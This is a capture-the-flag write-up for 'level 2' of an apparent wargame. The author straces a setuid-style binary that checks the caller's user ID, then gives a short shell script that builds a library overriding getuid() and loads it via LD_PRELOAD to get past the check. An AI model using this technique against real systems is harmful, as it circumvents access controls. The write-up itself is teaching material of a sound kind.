Hello,

Time for level 2 :).

Clues from logbook:

“All I learned is that it is written in C and authenticates the user with his user ID.”

Heh, should be using getuid(), let’s check!

File permissions first:

1
2
3
4
5
$ ls -lash /home/level2/bin/
total 16K
4.0K drwxr-xr-x 2 level2 level2 4.0K 2011-04-04 15:28 .
4.0K drwxr-xr-x 3 level2 level2 4.0K 2011-04-04 15:28 ..
8.0K -r-x--x--- 1 level2 level1 7.3K 2011-04-04 15:28 recover

No luck, we can’t read it … but we can still check using strace :).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$ strace /home/level2/bin/recover 
execve("/home/level2/bin/recover", ["/home/level2/bin/recover"], [/* 18 vars */]) = 0
brk(0)                                  = 0x9616000
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7829000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=31341, ...}) = 0
mmap2(NULL, 31341, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7821000
close(3)                                = 0
access("/etc/ld.so.nohwcap", F_OK)      = -1 ENOENT (No such file or directory)
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0@n\1\0004\0\0\0"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1421892, ...}) = 0
mmap2(NULL, 1427880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb76c4000
mmap2(0xb781b000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x157) = 0xb781b000
mmap2(0xb781e000, 10664, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb781e000
close(3)                                = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb76c3000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb76c36c0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb781b000, 8192, PROT_READ)   = 0
mprotect(0x8049000, 4096, PROT_READ)    = 0
mprotect(0xb7848000, 4096, PROT_READ)   = 0
munmap(0xb7821000, 31341)               = 0
getuid32()                              = 1001
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7828000
write(1, "You are not authorized to execut"..., 77You are not authorized to execute this program (UID = 1001 instead of 1002).
) = 77
exit_group(-1)                          = ?

You can see getuid32()! Bingo!

When we try to execute it, it says:

1
2
3
$ /home/level2/bin/recover 

You are not authorized to execute this program (UID = 1001 instead of 1002).

Bummer … or not. If you’ve been playing with Linux (or any UNIX-like) a bit, you ought to know LD_PRELOAD ;).

Here is the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/bin/sh

cat <<EOF >level1.c
#include <unistd.h>

uid_t getuid (void)
{
    return 1002;
}
EOF

gcc -fPIC -c level1.c -o level1.o
gcc -shared -Wl,-soname,libevil.so.1 -o libevil.so.1.0.1 level1.o
LD_PRELOAD=./libevil.so.1.0.1 /home/level2/bin/recover

Cheers,

m_101